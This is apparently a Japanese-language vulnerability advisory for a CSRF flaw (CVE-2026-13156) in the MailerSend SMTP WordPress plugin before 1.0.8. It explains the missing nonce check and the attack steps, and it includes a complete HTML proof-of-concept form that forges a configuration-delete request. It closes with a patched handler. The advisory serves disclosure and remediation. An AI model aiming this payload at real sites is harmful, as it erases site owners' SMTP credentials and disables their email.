[!IMPORTANT] 概要: WordPress用公式 MailerSend SMTP統合プラグイン(
< 1.0.8)において、高深刻度のクロスサイト・リクエスト・フォージェリ(CSRF)脆弱性(CVE-2026-13156)が発見されました。設定削除ハンドラmailersend_handle_configuration_delete()は管理者権限(manage_options)の検証を行いますが、WordPressのNonce検証(check_admin_referer())を完全に欠落させています。攻撃者は、認証済みのWordPress管理者を標的とした悪意のあるクロスオリジンリクエストを作成し、保存されたSMTP認証情報を静かに消去してプラグインを強制的に無効化させることができ、すべてのメールワークフローにおいて完全なアプリケーションサービス拒否(DoS)を引き起こします。
CVE-2026-13156(WPScanアドバイザリID: 595e653d-0904-43cf-8e61-d684599de11b)1.0.8 未満(< 1.0.8)研究者について:
Huynh Kien Minh(Huỳnh Kiến Minh)は、CVE-2026-13156 の技術的詳細を含む、綿密なセキュリティ評価と責任ある情報開示で知られる、積極的なサイバーセキュリティ研究者および脆弱性アナリストです。また、重大なセキュリティ脆弱性の発見と開示により、Proton Security Hall of Fame で公式に認められ、表彰されています。
この技術アドバイザリの検証、概念実証(PoC)分析の調査、または研究者との連絡については、以下を参照してください:
WordPress用 MailerSend公式SMTP統合プラグイン(バージョン 1.0.8 未満)は、管理ダッシュボードからトリガーされた際に、保存されたAPIトークンの消去、SMTP設定オプション(wp_options)のクリア、およびプラグインの無効化を目的とした管理アクション(configuration-delete)を登録しています。
このエンドポイントは、アクティブユーザーが manage_options 権限を持っているかどうかを検証しますが(リクエストが管理者セッションから発信されていることを保証)、WordPressのnonce(check_admin_referer() または wp_verify_nonce())検証を実行できていません。
Nonce検証がないHTTPリクエストは、意図的な管理者クリックと偽造されたクロスオリジンリクエストを区別できないため、認証済み管理者が読み込んだ外部サイトは、configuration-delete アクションを静かにトリガーできます。
< 1.0.8)を利用しているターゲットWordPressサイトを特定します。/wp-admin/admin-post.php または /wp-admin/admin.php?page=mailersend&action=configuration-delete)をターゲットとした自動送信フォームを含む悪意のあるHTML/JavaScriptウェブページを作成します。[!WARNING] 倫理的免責事項: 以下のHTMLクロスサイト・リクエスト・フォージェリ(CSRF)概念実証ペイロードは、Huynh Kien Minh による倫理的な開示プロトコルに基づき、教育目的、防御的検証、およびセキュリティ監査のためにのみ提供されています。許可のないターゲットに対して実行しないでください。
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<title>CVE-2026-13156 PoC — MailerSend SMTP Configuration Deletion via CSRF</title>
<!-- Author: Huynh Kien Minh (https://minhhk.web.app/) -->
</head>
<body>
<h2>CVE-2026-13156 — CSRF Verification PoC</h2>
<p>If an authenticated WordPress Administrator visits this page, the MailerSend SMTP configuration will be deleted and the plugin deactivated.</p>
<!-- Forged Request targeting the vulnerable MailerSend configuration deletion endpoint -->
<form id="csrfPoC" action="http://target-wordpress-site.local/wp-admin/admin.php" method="GET">
<input type="hidden" name="page" value="mailersend-smtp" />
<input type="hidden" name="action" value="configuration-delete" />
<!-- Notice: No valid _wpnonce token is required due to the vulnerability -->
<input type="submit" value="Execute PoC (Simulate Attack)" />
</form>
<script>
// Automatically submit the forged request when the administrator loads the page
document.addEventListener("DOMContentLoaded", function() {
console.log("[CVE-2026-13156] Executing CSRF Payload developed by Huynh Kien Minh...");
// Uncomment line below to enable auto-execution in lab environments:
// document.getElementById('csrfPoC').submit();
});
</script>
</body>
</html>
1.0.8 以上に更新してください。WordPressプラグインの管理状態変更アクションを適切に保護するには、開発者はリクエストを処理する前に厳格なnonce検証を強制する必要があります:
// Secure Implementation (Version 1.0.8+)
function mailersend_delete_configuration_handler() {
// 1. Check User Capability
if ( ! current_user_can( 'manage_options' ) ) {
wp_die( __( 'Unauthorized access.', 'mailersend' ), 403 );
}
// 2. REQUIRED: Verify CSRF Nonce Token
if ( ! isset( $_GET['_wpnonce'] ) || ! wp_verify_nonce( $_GET['_wpnonce'], 'mailersend_delete_config_nonce' ) ) {
wp_die( __( 'Security check failed (CSRF attempt blocked).', 'mailersend' ), 403 );
}
// 3. Proceed safely with configuration deletion
delete_option( 'mailersend_smtp_settings' );
deactivate_plugins( plugin_basename( __FILE__ ) );
wp_redirect( admin_url( 'plugins.php?deactivated=true' ) );
exit;
}
このリポジトリおよび技術アドバイザリは、Huynh Kien Minh (MinhHK) によって、より安全なグローバルなWordPressおよびサイバーセキュリティエコシステムを育成するための責任ある開示ガイドラインに基づき、維持・公開されています。